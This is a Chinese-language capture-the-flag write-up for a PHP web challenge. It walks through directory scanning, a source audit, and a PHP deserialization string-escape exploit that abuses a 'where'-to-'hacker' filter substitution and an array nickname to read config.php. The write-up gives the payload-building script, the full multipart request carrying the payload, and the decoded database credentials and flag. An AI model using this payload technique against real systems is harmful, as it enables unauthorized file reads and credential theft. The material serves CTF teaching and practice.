刚进来就一个登录框,尝试sql注入登录无果,用dirsearch扫目录,扫到其他路由
1 2 3 4 5 6 7
| [16:33:33] 200 - 0B - /config.php [16:33:46] 200 - 2B - /health [16:33:56] 200 - 11B - /profile.php [16:33:56] 200 - 797B - /register.php [16:33:57] 200 - 46B - /robots.txt [16:34:01] 200 - 11B - /update.php [16:34:04] 200 - 392KB - /www.zip
|
有一个www.zip访问将其下载下来审计,在index.php中可以看到有username和password的长度限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| $username = $_POST['username']; $password = $_POST['password'];
if (strlen($username) < 3 or strlen($username) > 16) { die('Invalid user name'); }
if (strlen($password) < 3 or strlen($password) > 16) { die('Invalid password'); }
if ($user->login($username, $password)) { $_SESSION['username'] = $username; header('Location: profile.php'); exit;
|
有调用login函数,这个函数的实现在class.php中,$user是一个user类的实例,根据这个长度限制和这个sql查找方式,sql注入在登录框是做不了什么了,还有一个register.php页面,我们正常注册账户,然后登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password);
$where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; } }
|
登录进去后可以看到只有一个更新用户信息的功能,对应源码是update.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| if ($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username']; if (!preg_match('/^\d{11}$/', $_POST['phone'])) { die('Invalid phone'); }
if (!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) { die('Invalid email'); }
if (preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) { die('Invalid nickname'); }
$file = $_FILES['photo']; if ($file['size'] < 5 or $file['size'] > 1000000) { die('Photo size error'); }
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; } else {
|
这里可以看到在更新信息后有一个正则判断,最特别的一个是nickname字段,允许所有字母和数字,但是有一个长度限制
后面就直接赋值给了数组,然后进行序列化,最后调用了user类的update_profile方法
1 2 3 4 5 6 7 8 9
| public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile);
$where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); }
|
在更新的过程中还进行了一次筛选,filter方法中有一个黑名单替换的操作
1 2 3 4 5 6 7 8 9 10 11
| public function filter($string) { $escape = ['\'', '\\\\']; $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string);
$safe = ['select', 'insert', 'update', 'delete', 'where']; $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
|
我们注意所有在黑名单中的字符串都会被替换为hacker,hacker是有6个字符,而在黑名单中有一个where是5个字符,就是说这会导致序列化字符串的长度加一,所以这里存在字符串逃逸漏洞
而在profile.php中又有一个反序列化
1 2 3 4 5 6 7 8 9 10 11 12
| $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo']));
|
值得注意的是在profile.php中还有一个读文件的函数,内容还会被base64编码,如果可以控制是能读php文件的
而在config.php中可以看到flag就在哪里,这个题目就基本可以确定是通过nickname字段来进行反序列化来读config.php文件了
最后还有一个点就是nickname是有长度限制的,反序列化字符串基本不可能在10个字符串之内
这里可以采用数组类型来绕过strlen,也就是说我们需要让php后端将nickname解析成数组
用来覆盖的序列化字符串我们可以先预览一下
1 2 3 4 5 6 7 8 9 10
| <?php
$profile['phone'] = "12345678901"; $profile['email'] = "1@qq.com"; $profile['nickname'] = ['lengkur']; $profile['photo'] = 'config.php';
$one = serialize($profile);
echo $one;
|
1
| a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"1@qq.com";s:8:"nickname";a:1:{i:0;s:7:"lengkur";}s:5:"photo";s:10:"config.php";}
|
那我们用来覆盖的字符串就是这串了
1
| ";}s:5:"photo";s:10:"config.php";}
|
然后根据字符串的长度来决定在前面增加的where个数
1 2 3 4 5 6 7 8 9 10
| $nickname = '";}s:5:"photo";s:10:"config.php";}'; $lennickname = strlen($nickname); $n = 0; for ($i = 0; $i < $lennickname; $i++) { $nickname = 'where' . $nickname; $n++; }
echo $nickname;
|
1
| wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
|
请求包的body传,将nickname加一个中括号就可以被解析成数组了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| ------WebKitFormBoundaryIX1cn5g6In5f1wM7 Content-Disposition: form-data; name="phone"
12345678901 ------WebKitFormBoundaryIX1cn5g6In5f1wM7 Content-Disposition: form-data; name="email"
1@qq.com ------WebKitFormBoundaryIX1cn5g6In5f1wM7 Content-Disposition: form-data; name="nickname[]"
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} ------WebKitFormBoundaryIX1cn5g6In5f1wM7 Content-Disposition: form-data; name="photo"; filename="1.gif" Content-Type: image/gif
12345 ------WebKitFormBoundaryIX1cn5g6In5f1wM7--
|
然后访问profile.php,查看源码有一段base64编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <!DOCTYPE html> <html> <head> <title>Profile</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <img src="data:image/gif;base64,PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdEQVNDVEZ7NWUxODg1YzktMTcwZC00NTVkLWEwYTgtNGNiNjI2YWQzZjhifSc7Cj8+Cg==" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Hi Array</h3> <label>Phone: 12345678901</label> <label>Email: 1@qq.com</label> </div> </body> </html>
|
解码得到flag
1 2 3 4 5 6 7 8
| <?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = 'qwertyuiop'; $config['database'] = 'challenges'; $flag = 'DASCTF{5e1885c9-170d-455d-a0a8-4cb626ad3f8b}'; ?>
|